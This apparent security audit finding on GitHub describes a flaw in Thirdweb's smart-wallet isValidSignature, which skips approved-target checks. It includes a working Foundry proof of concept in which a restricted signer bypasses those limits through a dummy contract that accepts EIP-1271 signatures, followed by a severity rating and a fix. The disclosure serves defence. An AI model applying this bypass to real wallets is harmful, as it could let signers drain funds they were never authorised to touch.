Skip to content

Instantly share code, notes, and snippets.

@0xcuriousapple
Created August 17, 2023 20:46
Show Gist options
  • Save 0xcuriousapple/a47472a1107384cf5db1470dc8a6d2cb to your computer and use it in GitHub Desktop.
Save 0xcuriousapple/a47472a1107384cf5db1470dc8a6d2cb to your computer and use it in GitHub Desktop.

Incorrect EIP1271 integration allows approved signers to bypass protection against unauthorized actions and potentially steal funds from a smart contract wallet.

Description

Thirdweb has developed its own implementation of an account-abstracted wallet, enabling account owners to grant various signers permission to execute actions on their behalf.

https://github.com/thirdweb-dev/contracts/blob/c7c369d3b717ce871e9a305bab14ef2aa49b2c3c/contracts/smart-wallet/utils/AccountCore.sol

To safeguard against unintended actions, these different actions are subjected to an approved target check, aimed at preventing signers from executing unauthorized actions. In cases where an account owner grants signer X permissions for an approved target (such as contract A), signer X should theoretically be restricted to executing calls solely on contract A.

AccountCore.sol, L80

    function isValidSigner(address _signer, UserOperation calldata _userOp) public view virtual returns (bool) {
       -----
        if (sig == Account.execute.selector) {
            // Extract the `target` and `value` arguments from the calldata for `execute`.
            (address target, uint256 value) = decodeExecuteCalldata(_userOp.callData);

            // Check if the value is within the allowed range and if the target is approved.
            if (permissions.nativeTokenLimitPerTransaction < value || !data.approvedTargets[_signer].contains(target)) {
                // Account: value too high OR Account: target not approved.
                return false;
            }
        } else 
    ------

However, signers can bypass these restrictions using EIP1271 signature verification.

While Thirdweb has indeed integrated EIP1271 via its isValidSignature function, it neglects to incorporate checks related to approved targets. This enables allowed signers to execute actions for any external protocol accepting signatures.

AccountCore.sol

    function isValidSignature(bytes32 _hash, bytes memory _signature)
        public
        view
        virtual
        override
        returns (bytes4 magicValue)
    {
        address signer = _hash.recover(_signature);

        if (isAdmin(signer) || isActiveSigner(signer)) {
            magicValue = MAGICVALUE;
        }
    }

For example:

Basically, an attacker can exploit account with help of any protocol that accepts EIP1271 signatures.

POC

Account.t.sol

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;

// Test utils
import "../utils/BaseTest.sol";
// Account Abstraction setup for smart wallets.
import { EntryPoint, IEntryPoint } from "contracts/smart-wallet/utils/Entrypoint.sol";
import { UserOperation } from "contracts/smart-wallet/utils/UserOperation.sol";

// Target
import { IAccountPermissions } from "contracts/extension/interface/IAccountPermissions.sol";
import { AccountFactory, Account } from "contracts/smart-wallet/non-upgradeable/AccountFactory.sol";

library GPv2EIP1271 {
    bytes4 internal constant MAGICVALUE = 0x1626ba7e;
}

interface EIP1271Verifier {
    function isValidSignature(
        bytes32 _hash,
        bytes memory _signature
    ) external view returns (bytes4 magicValue);
}

/// @dev This is a dummy contract to test contract interactions with Account.
contract Number {
    uint256 public num;

    function setNum(uint256 _num) public {
        num = _num;
    }

    function doubleNum() public {
        num *= 2;
    }

    function incrementNum() public {
        num += 1;
    }

    function setNumBySignature(address owner, uint256 newNum, bytes calldata signature) public {
        if (owner.code.length == 0)
        {
            // Signature verification by ECDSA
        }
        else
        {   
            // Signature verfication by EIP1271 
        bytes32 digest = keccak256(abi.encode(newNum));
        require(EIP1271Verifier(owner).isValidSignature(digest, signature) == GPv2EIP1271.MAGICVALUE, "GPv2: invalid eip1271 signature");
        num = newNum;
        }
    }
}

contract SimpleAccountTest is BaseTest {
    // Target contracts
    EntryPoint private entrypoint;
    AccountFactory private accountFactory;

    // Mocks
    Number internal numberContract;

    // Test params
    uint256 private accountAdminPKey = 100;
    address private accountAdmin;

    uint256 private accountSignerPKey = 200;
    address private accountSigner;

    uint256 private nonSignerPKey = 300;
    address private nonSigner;

    // UserOp terminology: `sender` is the smart wallet.
    address private sender = 0xBB956D56140CA3f3060986586A2631922a4B347E;
    address payable private beneficiary = payable(address(0x45654));

    bytes32 private uidCache = bytes32("random uid");

    event AccountCreated(address indexed account, address indexed accountAdmin);

    function _signSignerPermissionRequest(IAccountPermissions.SignerPermissionRequest memory _req)
        internal
        view
        returns (bytes memory signature)
    {
        bytes32 typehashSignerPermissionRequest = keccak256(
            "SignerPermissionRequest(address signer,address[] approvedTargets,uint256 nativeTokenLimitPerTransaction,uint128 permissionStartTimestamp,uint128 permissionEndTimestamp,uint128 reqValidityStartTimestamp,uint128 reqValidityEndTimestamp,bytes32 uid)"
        );
        bytes32 nameHash = keccak256(bytes("Account"));
        bytes32 versionHash = keccak256(bytes("1"));
        bytes32 typehashEip712 = keccak256(
            "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
        );
        bytes32 domainSeparator = keccak256(abi.encode(typehashEip712, nameHash, versionHash, block.chainid, sender));

        bytes memory encodedRequest = abi.encode(
            typehashSignerPermissionRequest,
            _req.signer,
            keccak256(abi.encodePacked(_req.approvedTargets)),
            _req.nativeTokenLimitPerTransaction,
            _req.permissionStartTimestamp,
            _req.permissionEndTimestamp,
            _req.reqValidityStartTimestamp,
            _req.reqValidityEndTimestamp,
            _req.uid
        );
        bytes32 structHash = keccak256(encodedRequest);
        bytes32 typedDataHash = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(accountAdminPKey, typedDataHash);
        signature = abi.encodePacked(r, s, v);
    }

    function _setupUserOp(
        uint256 _signerPKey,
        bytes memory _initCode,
        bytes memory _callDataForEntrypoint
    ) internal returns (UserOperation[] memory ops) {
        uint256 nonce = entrypoint.getNonce(sender, 0);

        // Get user op fields
        UserOperation memory op = UserOperation({
            sender: sender,
            nonce: nonce,
            initCode: _initCode,
            callData: _callDataForEntrypoint,
            callGasLimit: 500_000,
            verificationGasLimit: 500_000,
            preVerificationGas: 500_000,
            maxFeePerGas: 0,
            maxPriorityFeePerGas: 0,
            paymasterAndData: bytes(""),
            signature: bytes("")
        });

        // Sign UserOp
        bytes32 opHash = EntryPoint(entrypoint).getUserOpHash(op);
        bytes32 msgHash = ECDSA.toEthSignedMessageHash(opHash);

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(_signerPKey, msgHash);
        bytes memory userOpSignature = abi.encodePacked(r, s, v);

        address recoveredSigner = ECDSA.recover(msgHash, v, r, s);
        address expectedSigner = vm.addr(_signerPKey);
        assertEq(recoveredSigner, expectedSigner);

        op.signature = userOpSignature;

        // Store UserOp
        ops = new UserOperation[](1);
        ops[0] = op;
    }

    function _setupUserOpExecute(
        uint256 _signerPKey,
        bytes memory _initCode,
        address _target,
        uint256 _value,
        bytes memory _callData
    ) internal returns (UserOperation[] memory) {
        bytes memory callDataForEntrypoint = abi.encodeWithSignature(
            "execute(address,uint256,bytes)",
            _target,
            _value,
            _callData
        );

        return _setupUserOp(_signerPKey, _initCode, callDataForEntrypoint);
    }

    function _setupUserOpExecuteBatch(
        uint256 _signerPKey,
        bytes memory _initCode,
        address[] memory _target,
        uint256[] memory _value,
        bytes[] memory _callData
    ) internal returns (UserOperation[] memory) {
        bytes memory callDataForEntrypoint = abi.encodeWithSignature(
            "executeBatch(address[],uint256[],bytes[])",
            _target,
            _value,
            _callData
        );

        return _setupUserOp(_signerPKey, _initCode, callDataForEntrypoint);
    }

    function setUp() public override {
        super.setUp();

        // Setup signers.
        accountAdmin = vm.addr(accountAdminPKey);
        vm.deal(accountAdmin, 100 ether);

        accountSigner = vm.addr(accountSignerPKey);
        nonSigner = vm.addr(nonSignerPKey);

        // Setup contracts
        entrypoint = new EntryPoint();
        // deploy account factory
        accountFactory = new AccountFactory(IEntryPoint(payable(address(entrypoint))));
        // deploy dummy contract
        numberContract = new Number();
    }

    /*//////////////////////////////////////////////////////////
                    Test: performing a contract call
    //////////////////////////////////////////////////////////////*/

    function _setup_executeTransaction() internal {
        bytes memory initCallData = abi.encodeWithSignature("createAccount(address,bytes)", accountAdmin, bytes(""));
        bytes memory initCode = abi.encodePacked(abi.encodePacked(address(accountFactory)), initCallData);

        UserOperation[] memory userOpCreateAccount = _setupUserOpExecute(
            accountAdminPKey,
            initCode,
            address(0),
            0,
            bytes("")
    );

        EntryPoint(entrypoint).handleOps(userOpCreateAccount, beneficiary);
    }


    function test_POC() public {
        _setup_executeTransaction();

        /*//////////////////////////////////////////////////////////
                                Setup
        //////////////////////////////////////////////////////////////*/
        address[] memory approvedTargets = new address[](1);
        approvedTargets[0] = address(0); // allowing accountSigner permissions for some random contract, consider it as 0 address here

        IAccountPermissions.SignerPermissionRequest memory permissionsReq = IAccountPermissions.SignerPermissionRequest(
            accountSigner,
            approvedTargets,
            1 ether,
            0,
            type(uint128).max,
            0,
            type(uint128).max,
            uidCache
        );

        vm.prank(accountAdmin);
        bytes memory sig = _signSignerPermissionRequest(permissionsReq);
        address account = accountFactory.getAddress(accountAdmin, bytes(""));
        Account(payable(account)).setPermissionsForSigner(permissionsReq, sig);

       
        // As expected, Account Signer is not be able to call setNum on numberContract since it doesnt have numberContract as approved target 
        assertEq(numberContract.num(), 0);

        vm.prank(accountSigner);
        UserOperation[] memory userOp = _setupUserOpExecute(
            accountSignerPKey,
            bytes(""),
            address(numberContract),
            0,
            abi.encodeWithSignature("setNum(uint256)", 42)
        );

        vm.expectRevert();
        EntryPoint(entrypoint).handleOps(userOp, beneficiary);


        /*//////////////////////////////////////////////////////////
                                Attack
        //////////////////////////////////////////////////////////////*/

           
        //However they can bypass this by using signature verification on number contract instead
        vm.prank(accountSigner);
        bytes32 digest = keccak256(abi.encode(42));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(accountSignerPKey, digest);
        bytes memory signature = abi.encodePacked(r, s, v);
    
        address signer = ecrecover(digest, v, r, s);
        numberContract.setNumBySignature(account, 42, signature);
        assertEq(numberContract.num(), 42);
    }

   
}

Severity

High
Impact: High, Loss of Funds
Likelihood: Medium, Thirdweb is permissionless platform allowing anyone to create smart wallets with anyone as allowed signers, hence there is no trust assumption of them always acting ethical.

Remediation to consider

If signer is non admin in isValidSignature, consider checking if caller is a approved target

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment